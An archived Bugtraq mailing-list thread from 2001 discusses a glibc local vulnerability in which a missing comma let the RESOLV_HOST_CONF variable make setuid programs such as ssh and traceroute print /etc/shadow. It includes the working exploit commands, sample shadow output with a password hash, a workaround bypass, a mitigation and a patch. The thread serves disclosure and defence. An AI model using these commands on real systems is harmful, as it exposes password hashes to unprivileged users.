5939722 2001-01-10 00:06 -0700 /37 rader/ Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM> Sänt av: joel@lysator.liu.se Importerad: 2001-01-10 20:20 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: csteven@NEWHOPE.TERRAPLEX.COM Mottagare: Bugtraq (import) <14706> Ärende: Glibc Local Root Exploit ------------------------------------------------------------ From: Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <B6815818.E3F%csteven@newhope.terraplex.com> Hi all, This has been bouncing around on vuln-dev and the debian-devel lists. It effects glibc >= 2.1.9x and it would seem many if not all OSes using these versions of glibc. Ben Collins writes, "This wasn't supposed to happen, and the actual fix was a missing comma in the list of secure env vars that were supposed to be cleared when a program starts up suid/sgid (including RESOLV_HOST_CONF)." The exploit varies from system to system but in our devel version of Yellow Dog Linux I was able to print the /etc/shadow file as a normal user in the following manner: export RESOLV_HOST_CONF=/etc/shadow ssh whatever.host.com Other programs have the same effect depending on the defaults for the system. I have tested this on Red Hat 7.0, Yellow Dog Linux 2.0 (prerelease), and Debian Woody. Others have reported similar results on slackware and even "home brew[ed]" GNU/Linux. Best Regards, Charles Stevenson Software Engineer -- Terra Soft Solutions, Inc http://www.terrasoftsolutions.com/ Yellow Dog Linux http://www.yellowdoglinux.com/ Black Lab Linux http://www.blacklablinux.com (5939722) --------------------------------(Ombruten) Kommentar i text 5939728 av Mathias Hansson (glutinous glop in your galligaskins) Kommentar i text 5939858 Kommentar i text 5940291 av Thomas T. Veldhouse <veldy@VELDY.NET> Kommentar i text 5940334 av Ben Collins <bcollins@DEBIAN.ORG> Kommentar i text 5940443 av Pedro Margate <pedro@ECLIPSE.NET> Kommentar i text 5940816 av Digital Overdrive <digiover@DSINET.ORG> Kommentar i text 5940840 av Joe <joe@BLARG.NET> Kommentar i text 5940850 av Brian <bruns@MAGENET.COM> Kommentar i text 5940852 av Digital Overdrive <digiover@DSINET.ORG> 5940291 2001-01-10 12:31 -0600 /53 rader/ Thomas T. Veldhouse <veldy@VELDY.NET> Sänt av: joel@lysator.liu.se Importerad: 2001-01-10 23:22 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: veldy@VELDY.NET Mottagare: Bugtraq (import) <14719> Kommentar till text 5939722 av Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM> Ärende: Re: Glibc Local Root Exploit ------------------------------------------------------------ From: "Thomas T. Veldhouse" <veldy@VELDY.NET> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <011d01c07b33$88e288f0$3028680a@tgt.com> This does not happen on my machine using glibc-2.2 and openssh-2.3.0p1 following your example. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Charles Stevenson" <csteven@NEWHOPE.TERRAPLEX.COM> To: <BUGTRAQ@SECURITYFOCUS.COM> Sent: Wednesday, January 10, 2001 1:06 AM Subject: Glibc Local Root Exploit > Hi all, > This has been bouncing around on vuln-dev and the debian-devel lists. It > effects glibc >= 2.1.9x and it would seem many if not all OSes using these > versions of glibc. Ben Collins writes, "This wasn't supposed to happen, and > the actual fix was a missing comma in the list of secure env vars that were > supposed to be cleared when a program starts up suid/sgid (including > RESOLV_HOST_CONF)." The exploit varies from system to system but in our > devel version of Yellow Dog Linux I was able to print the /etc/shadow file > as a normal user in the following manner: > > export RESOLV_HOST_CONF=/etc/shadow > ssh whatever.host.com > > Other programs have the same effect depending on the defaults for the > system. I have tested this on Red Hat 7.0, Yellow Dog Linux 2.0 > (prerelease), and Debian Woody. Others have reported similar results on > slackware and even "home brew[ed]" GNU/Linux. > > Best Regards, > Charles Stevenson > Software Engineer > > -- > Terra Soft Solutions, Inc > http://www.terrasoftsolutions.com/ > > Yellow Dog Linux > http://www.yellowdoglinux.com/ > > Black Lab Linux > http://www.blacklablinux.com > (5940291) ------------------------------------------ 5940334 2001-01-10 14:22 -0500 /43 rader/ Ben Collins <bcollins@DEBIAN.ORG> Sänt av: joel@lysator.liu.se Importerad: 2001-01-10 23:40 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: bcollins@DEBIAN.ORG Mottagare: Bugtraq (import) <14720> Kommentar till text 5939722 av Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM> Ärende: Re: Glibc Local Root Exploit ------------------------------------------------------------ From: Ben Collins <bcollins@DEBIAN.ORG> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <20010110142222.E437@visi.net> On Wed, Jan 10, 2001 at 12:06:48AM -0700, Charles Stevenson wrote: > Hi all, > This has been bouncing around on vuln-dev and the debian-devel lists. It > effects glibc >= 2.1.9x and it would seem many if not all OSes using these > versions of glibc. Ben Collins writes, "This wasn't supposed to happen, and > the actual fix was a missing comma in the list of secure env vars that were > supposed to be cleared when a program starts up suid/sgid (including > RESOLV_HOST_CONF)." The exploit varies from system to system but in our > devel version of Yellow Dog Linux I was able to print the /etc/shadow file > as a normal user in the following manner: > > export RESOLV_HOST_CONF=/etc/shadow > ssh whatever.host.com > > Other programs have the same effect depending on the defaults for the > system. I have tested this on Red Hat 7.0, Yellow Dog Linux 2.0 > (prerelease), and Debian Woody. Others have reported similar results on > slackware and even "home brew[ed]" GNU/Linux. Just a note. The latest *released* Debian (2.2, aka potato) is not vulnerable to this problem, since it uses glibc 2.1.3. Our unreleased testing and devel (aka woody and sid) dists are vulnerably, atleast today. The fixed packages are being uploaded, and should be on mirrors within 24-48 hours. Don't expect a security announcement from this on Debian, since we only do that for released distributions, which woody and sid are not. Also, to give credit where credit is due, Jakub Jelinek actually produced the patch that fixes this particular problem. I was merely stating what I knew (in the quote above). -- -----------=======-=-======-=========-----------=====------------=-=------ / Ben Collins -- ...on that fantastic voyage... -- Debian GNU/Linux \ ` bcollins@debian.org -- bcollins@openldap.org -- bcollins@linux.com ' `---=========------=======-------------=-=-----=-===-======-------=--=---' (5940334) --------------------------------(Ombruten) 5940816 2001-01-10 23:43 +0100 /54 rader/ Digital Overdrive <digiover@DSINET.ORG> Sänt av: joel@lysator.liu.se Importerad: 2001-01-11 03:32 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: digiover@dsinet.org Mottagare: Bugtraq (import) <14727> Kommentar till text 5939722 av Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM> Ärende: Re: Glibc Local Root Exploit ------------------------------------------------------------ From: Digital Overdrive <digiover@DSINET.ORG> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <3A5CE593.F49B6DAA@dsinet.org> Charles Stevenson wrote: > > Hi all, > This has been bouncing around on vuln-dev and the debian-devel lists. It > effects glibc >= 2.1.9x and it would seem many if not all OSes using these > versions of glibc. Ben Collins writes, "This wasn't supposed to happen, and > the actual fix was a missing comma in the list of secure env vars that were > supposed to be cleared when a program starts up suid/sgid (including > RESOLV_HOST_CONF)." The exploit varies from system to system but in our > devel version of Yellow Dog Linux I was able to print the /etc/shadow file > as a normal user in the following manner: > > export RESOLV_HOST_CONF=/etc/shadow > ssh whatever.host.com huge typo in my previous post... services has to be profiles ;-) ---- [Credits to ^herman^ in #hit2000 on ircnet] A temp. sollution is to place this in /etc/profiles: declare -r RESOLV_HOST_CONF jan@flits102-93:~$ export RESOLV_HOST_CONF=/etc/shadow bash: RESOLV_HOST_CONF: readonly variable jan@flits102-93:~$ ---- But even here is a workaround for : Make a script (e.g. blaat) !#bin/sh export RESOLV_HOST_CONF=/etc/shadow ssh whatever.host.com ~$ sh --noprofile blaat [again credits to ^herman^] Regards, Jan (Digital Overdrive) -- .~. http://www.dsinet.org | http://www.dsinet.org/hackfaq /V\ digiover@dsinet.org | digiover@cotse.com /( )\ ^^-^^ (5940816) ------------------------------------------ 5940852 2001-01-10 23:30 +0100 /38 rader/ Digital Overdrive <digiover@DSINET.ORG> Sänt av: joel@lysator.liu.se Importerad: 2001-01-11 04:52 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: digiover@dsinet.org Mottagare: Bugtraq (import) <14739> Kommentar till text 5939722 av Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM> Ärende: Re: Glibc Local Root Exploit ------------------------------------------------------------ From: Digital Overdrive <digiover@DSINET.ORG> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <3A5CE268.E25A3CC1@dsinet.org> Charles Stevenson wrote: > > Hi all, > This has been bouncing around on vuln-dev and the debian-devel lists. It > effects glibc >= 2.1.9x and it would seem many if not all OSes using these > versions of glibc. Ben Collins writes, "This wasn't supposed to happen, and > the actual fix was a missing comma in the list of secure env vars that were > supposed to be cleared when a program starts up suid/sgid (including > RESOLV_HOST_CONF)." The exploit varies from system to system but in our > devel version of Yellow Dog Linux I was able to print the /etc/shadow file > as a normal user in the following manner: > > export RESOLV_HOST_CONF=/etc/shadow > ssh whatever.host.com [Credits to ^herman^ in #hit2000 on ircnet] A temp. sollution is to place this in /etc/services: declare -r RESOLV_HOST_CONF jan@flits102-93:~$ export RESOLV_HOST_CONF=/etc/shadow bash: RESOLV_HOST_CONF: readonly variable jan@flits102-93:~$ Regards, Jan (Digital Overdrive) -- .~. Dutch Security Information Network : http://www.dsinet.org /V\ digiover@dsinet.org | digiover@cotse.com /( )\ ^^-^^ (5940852) ------------------------------------------ 5940774 2001-01-10 17:53 -0800 /97 rader/ Ben Greenbaum <bgreenbaum@SECURITYFOCUS.COM> Sänt av: joel@lysator.liu.se Importerad: 2001-01-11 03:00 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: bgreenbaum@SECURITYFOCUS.COM Mottagare: Bugtraq (import) <14725> Ärende: Re: Glibc Local Root Exploit ------------------------------------------------------------ From: Ben Greenbaum <bgreenbaum@SECURITYFOCUS.COM> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <Pine.GSO.4.30.0101101741160.531-100000@mail> Summary of responses: ---------------------------------- From: Jag <agrajag@linuxpower.org> On Wed, 10 Jan 2001, Thomas T. Veldhouse wrote: > This does not happen on my machine using glibc-2.2 and openssh-2.3.0p1 > following your example. I have reproduced it with glibc-2.2 and openssh-2.3.0p1 The key is that you must actually ssh to a valid host. If ssh can't resolve the host, it won't display the contents of the file. ------------------------------------------------ From: Lukasz Trabinski <lukasz@lt.wsisiz.edu.pl> On Wed, 10 Jan 2001, Thomas T. Veldhouse wrote: > This does not happen on my machine using glibc-2.2 and openssh-2.3.0p1 > following your example. Let's test it. :-) [lukasz@lt lukasz]$ ls -all /usr/bin/ssh -rwsr-xr-x 1 root root 176036 Jan 6 14:34 /usr/bin/ssh [lukasz@lt lukasz]$ export RESOLV_HOST_CONF=/etc/shadow [lukasz@lt lukasz]$ ssh lt /etc/shadow: line 1: bad command `root:$1$3qweG6dk$i1ZoWh6uqweiuaniVm1:11270:0:99999:7:::134537268' /etc/shadow: line 2: bad command `bin:x:10679:0:99999:7:::' /etc/shadow: line 3: bad command `daemon:x:10679:0:99999:7:::' /etc/shadow: line 4: bad command `adm:x:10679:0:99999:7::: Nice. :) [lukasz@lt lukasz]$ rpm -q openssh openssh-2.3.0p1-4 [lukasz@lt lukasz]$ rpm -q glibc glibc-2.2-9 All was taken from RH updates. [lukasz@lt lukasz]$ cat /etc/redhat-release Red Hat Linux release 7.0 (Guinness) but: [lukasz@yyy lukasz]$ ll /usr/bin/ssh -rwxr-xr-x 1 root root 176932 Nov 21 23:53 /usr/bin/ssh [lukasz@xxx lukasz]$ ssh xxx lukasz@xxx's password: glibc 2.2-9 openssh-2.3.0, RH 7.0. Sultion: Only passwd needs setuid flag. :) ------------------------------------------------------------------------- From: Alexander Schreiber <alexander.schreiber@informatik.tu-chemnitz.de> Tested on Debian 2.2 (potato) with OpenSSH-1.2.3 and libc6 2.1.3: does not work. ---------------------------------------------- From: Michael Devogelaere <michael@digibel.be> It works on my system: glibc 2.2 and openssh-2.3.0p1 (all latest updates from redhat) (luckily enough i don't tolerate users on my system <grin>) ----------------------------------------- From: elliptic <elliptic@cipherpunks.com> Likewise, I can not reproduce this bug on Slackware Linux 7.0, which is currently using glibc version 2.1.3. Additionally, this is the revision of glibc included with Slackware 7.1, which would likely also not be vulnerable. ------------------------------------------------------ From: Joseph Nicholas Yarbrough <nyarbrough@lurhq.com> I am unable to reproduce this using slackware 7.1(glibc2.1.3). What version of slackware were these "others" reporting positive results from? ------------------------------------------------ From: Lukasz Trabinski <lukasz@lt.wsisiz.edu.pl> > [lukasz@lt lukasz]$ rpm -q openssh > openssh-2.3.0p1-4 I have tested 1.5-1.2.30 (with ssh root setuid, too. We can read /etc/shadow, too). :-) ------------------------------------------------ (5940774) --------------------------------(Ombruten) 5948690 2001-01-11 02:04 +0000 /25 rader/ Simon Cozens <simon@COZENS.NET> Sänt av: joel@lysator.liu.se Importerad: 2001-01-12 17:49 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: simon@COZENS.NET Mottagare: Bugtraq (import) <14754> Kommentar till text 5940774 av Ben Greenbaum <bgreenbaum@SECURITYFOCUS.COM> Ärende: Re: Glibc Local Root Exploit ------------------------------------------------------------ From: Simon Cozens <simon@COZENS.NET> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <20010111020406.A9633@pembro26.pmb.ox.ac.uk> And a patch. Yeah, it's pretty obvious, but nobody's produced it yet. Of course, it'll take you forever to *compile* the thing. :) --- sysdeps/generic/unsecvars.h~ Wed Jan 10 23:37:09 2001 +++ sysdeps/generic/unsecvars.h Wed Jan 10 23:37:20 2001 @@ -5,7 +5,7 @@ "LOCPATH", \ "MALLOC_TRACE", \ "NLSPATH", \ - "RESOLV_HOST_CONF" \ + "RESOLV_HOST_CONF", \ "RES_OPTIONS", \ "TMPDIR", \ "TZDIR" -- He who makes a beast of himself gets rid of the pain of being a man. -H.S. Thompson (5948690) ------------------------------------------ 5948822 2001-01-10 20:05 -0700 /30 rader/ Jeffrey Denton <dentonj@C2I2.COM> Sänt av: joel@lysator.liu.se Importerad: 2001-01-12 18:15 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: dentonj@C2I2.COM Mottagare: Bugtraq (import) <14758> Kommentar till text 5940774 av Ben Greenbaum <bgreenbaum@SECURITYFOCUS.COM> Ärende: Re: Glibc Local Root Exploit ------------------------------------------------------------ From: Jeffrey Denton <dentonj@C2I2.COM> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <Pine.LNX.4.31.0101101957320.1372-100000@wookie.c2i2.com> Hopefully the BUGTRAQ moderators will catch and delete my first message. This one has a little more detail. > ------------------------------------------------------ > From: Joseph Nicholas Yarbrough <nyarbrough@lurhq.com> > > I am unable to reproduce this using slackware 7.1(glibc2.1.3). > What version of slackware were these "others" reporting positive results from? > "slackware-current", Slackware's developers release, uses glibc2.2 and is vulnerable. After that variable is set, the only two commands I was able to find that exploited this bug and returned the shadow file are ssh and traceroute: $ssh localhost $traceroute localhost They do not work if the suid bit is removed. This does not effect any of Slackware's stable releases. dentonj (5948822) --------------------------------(Ombruten) 5948932 2001-01-11 10:22 -0500 /22 rader/ Matt Zimmerman <mdz@CSH.RIT.EDU> Sänt av: joel@lysator.liu.se Importerad: 2001-01-12 18:39 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: mdz@CSH.RIT.EDU Mottagare: Bugtraq (import) <14761> Kommentar till text 5940774 av Ben Greenbaum <bgreenbaum@SECURITYFOCUS.COM> Ärende: Re: Glibc Local Root Exploit ------------------------------------------------------------ On Wed, Jan 10, 2001 at 05:53:03PM -0800, Ben Greenbaum wrote: > Summary of responses: > > ---------------------------------- > From: Jag <agrajag@linuxpower.org> > > On Wed, 10 Jan 2001, Thomas T. Veldhouse wrote: > > This does not happen on my machine using glibc-2.2 and openssh-2.3.0p1 > > following your example. > I have reproduced it with glibc-2.2 and openssh-2.3.0p1 The key is that > you must actually ssh to a valid host. If ssh can't resolve the host, > it won't display the contents of the file. This is not true. host.conf file is read _before_ the actual query takes place, as its options affect how the query is done. It does not matter what hostname is passed to the resolver. -- - mdz (5948932) --------------------------------(Ombruten) Bilaga (application/pgp-signature) i text 5948933 5948933 2001-01-11 10:22 -0500 /10 rader/ Matt Zimmerman <mdz@CSH.RIT.EDU> Importerad: 2001-01-12 18:39 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: mdz@CSH.RIT.EDU Mottagare: Bugtraq (import) <14762> Bilaga (text/plain) till text 5948932 Ärende: Bilaga till: Re: Glibc Local Root Exploit ------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6Xc+1ArxCt0PiXR4RAse5AKDelG3eMu+47DTJDWU7vErFKvgW0wCff4bv +smKh+2gfiHv/Ekly4x8sY8= =iA/H -----END PGP SIGNATURE----- (5948933) ------------------------------------------